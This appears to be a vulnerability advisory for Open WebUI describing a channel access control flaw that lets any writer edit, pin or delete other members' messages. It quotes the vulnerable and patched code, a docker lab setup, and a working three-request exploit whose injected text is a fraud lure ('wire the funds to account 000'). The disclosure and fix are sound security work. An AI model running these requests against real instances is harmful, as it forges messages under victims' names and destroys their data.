
Open WebUI, affected 0.5.0 through 0.10.2, patched in 0.11.0. Moderate, CVSS 5.4, CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L, CWE-284 and CWE-862.
In backend/open_webui/routers/channels.py the message update and delete handlers branch on the channel type, and the two branches ask different questions. Group and direct message channels are author only.
if channel.type in ['group', 'dm']:
if not await Channels.is_user_channel_member(channel.id, user.id, db=db):
raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, detail=ERROR_MESSAGES.DEFAULT())
# Membership is not authorship — block cross-member edits.
if user.role != 'admin' and message.user_id != user.id:
raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, detail=ERROR_MESSAGES.DEFAULT())
else:
if (
user.role != 'admin'
and message.user_id != user.id
and not await channel_has_access(user.id, channel, permission='write', strict=False, db=db)
):
raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, detail=ERROR_MESSAGES.DEFAULT())
The standard channel branch clears on write access alone, and write access is exactly what new_message_handler requires in order to post, so the capability to speak was accepted as the capability to rewrite and delete. channel_has_access is satisfied by a per-user grant as well as by a public one, so a private room with a collaborator is affected like an open channel. The update form binds content, data and meta while the model layer never touches message.user_id, so an edited message keeps the original author's name.
Exploitation is three ordinary API calls from a plain account with role user, in no group, that owns nothing and authored nothing.
POST /api/v1/channels/<id>/messages/<victim_msg>/update
{"content":"wire the funds to account 000",
"data":{"attacker_injected":true},
"meta":{"stored_payload":""}} -> 200
POST /api/v1/channels/<id>/messages/<victim_msg>/pin -> 200
DELETE /api/v1/channels/<id>/messages/<other_msg>/delete -> 200, true
Commit c609ec411 in 0.11.0 splits the check: write access first, then authorship, matching the group branch. Pinning stays write level by design.
else:
if user.role != 'admin' and not await channel_has_access(
user.id, channel, permission='write', strict=False, db=db
):
raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, detail=ERROR_MESSAGES.DEFAULT())
# Write access is not authorship — block cross-member edits.
if user.role != 'admin' and message.user_id != user.id:
raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, detail=ERROR_MESSAGES.DEFAULT())
docker run -d -p 3080:8080 -e WEBUI_SECRET_KEY=devkey -e ENABLE_SIGNUP=true \
-e DEFAULT_USER_ROLE=user --name open-webui ghcr.io/open-webui/open-webui:0.10.2
python3 prep/lab_setup.py # administrator, no attack, writes lab.json
python3 exploit_channel_message_tamper.py # attacker, plus read-only and group-channel controls
python3 exploit_channel_takeover.py --wipe # attacker, full channel takeover
Re-run against 0.10.2 on 4 August 2026. The scripts delete other members' messages, so point them at a disposable local instance only.
https://github.com/open-webui/open-webui/security/advisories/GHSA-mj5r-jf49-m3w7